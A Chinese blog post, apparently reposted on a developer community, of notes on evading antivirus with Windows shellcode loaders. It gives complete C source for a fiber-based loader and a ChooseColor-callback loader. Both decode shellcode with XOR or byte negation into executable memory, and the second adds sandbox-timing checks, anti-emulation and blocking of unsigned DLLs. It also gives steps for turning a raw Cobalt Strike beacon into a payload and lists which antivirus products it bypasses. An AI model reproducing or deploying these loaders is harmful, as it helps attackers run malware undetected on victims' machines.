B站闲逛,发现了师傅一个优秀的项目,学习整理了一波笔记
原文链接:https://www.bilibili.com/video/BV1LA411B7Mk/?spm_id_from=333.999.0.0&vd_source=4652172a15b97e23a4fc522adb2ef705
使用纤程免杀
纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式
https://docs.microsoft.com/en-us/windows/win32/procthread/fibers
- 将当前线程转换为 Fiber ConvertThreadToFiber()
- 使用 PAGE_EXECUTE_READWRITE 权限在当前进程中分配内存 VirtualAlloc()
- 将 shellcode 复制到分配的内存空间 CopyMemory()
- 启动指向分配的内存空间的新Fiber CreateFiber()
- 将 Fiber Context 切换到新创建的 Fiber SwitchFiber()
实现代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#include <windows.h>
void like(){
unsigned char data[] = {0x11, 0x22};
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc=VirtualAlloc(NULL,sizeof(data),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
for (int i=0;i<sizeof(data);i++)
{
data[i]^=99;
}
CopyMemory(Alloc,data,sizeof(data));
LPVOID shellFiber=CreateFiber(0,(LPFIBER_START_ROUTINE)Alloc,NULL);
SwitchToFiber(shellFiber);
}
int main(){
like();
}
|
1、生成raw格式的beacon
2、拖入010editor
中
3、tools – binaryxor 选择异或次数
4、生成之后,全选 edit – copy as c code,填入到上面的实现代码中,异或次数按照刚刚设置的进行修改
5、gcc xc2.c -mwindows
编译生成exe
免杀效果:火绒✔ def✔ eset✔ 360✔(需要迅速注入其他进程)卡巴斯基❌
反模拟运行检测
本质上就是将恶意程序放入沙箱中 看看它会做什么并监视它的行为。但是这是杀软自己模拟出的一个环境。(也就是启发式查杀)
FlsAlloc windows API https://docs.microsoft.com/en-us/windows/win32/api/fibersapi/nf-fibersapi-flsalloc
添加fibersapi.h
1
2
3
4
5
|
DWORD result = FlsAlloc(NULL);
if (result == FLS_OUT_OF_INDEXES)
{
return 0;
}
|
使用求反免杀
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
#include <Windows.h>
#include <stdio.h>
#include <ctime>
#pragma comment(lib, "Comdlg32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void BLockDll()
{
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
}
bool 检查沙箱()
{
clock_t start = clock();
Sleep(2000);
clock_t end = clock();
if (end - start >= 2000)
{
return false;
}
return true;
}
void 加载器()
{
BLockDll();
DWORD 长度 = 0;
unsigned char 载荷[265728] = {};
长度 = sizeof(载荷);
PVOID hAlloc = VirtualAlloc(NULL, 长度, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < 长度; i++)
{
载荷[i] = -载荷[i];
}
memcpy(hAlloc, 载荷, 长度);
CHOOSECOLOR sCC = { 0 };
sCC.lStructSize = sizeof(CHOOSECOLOR);
sCC.Flags = CC_ENABLEHOOK;
sCC.lpfnHook = (LPCCHOOKPROC)hAlloc;
ChooseColor(&sCC);
}
int main()
{
检查沙箱();
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)加载器, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
|
tools – binaryxor 选择求反,与上面一样的步骤
【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
评论(0)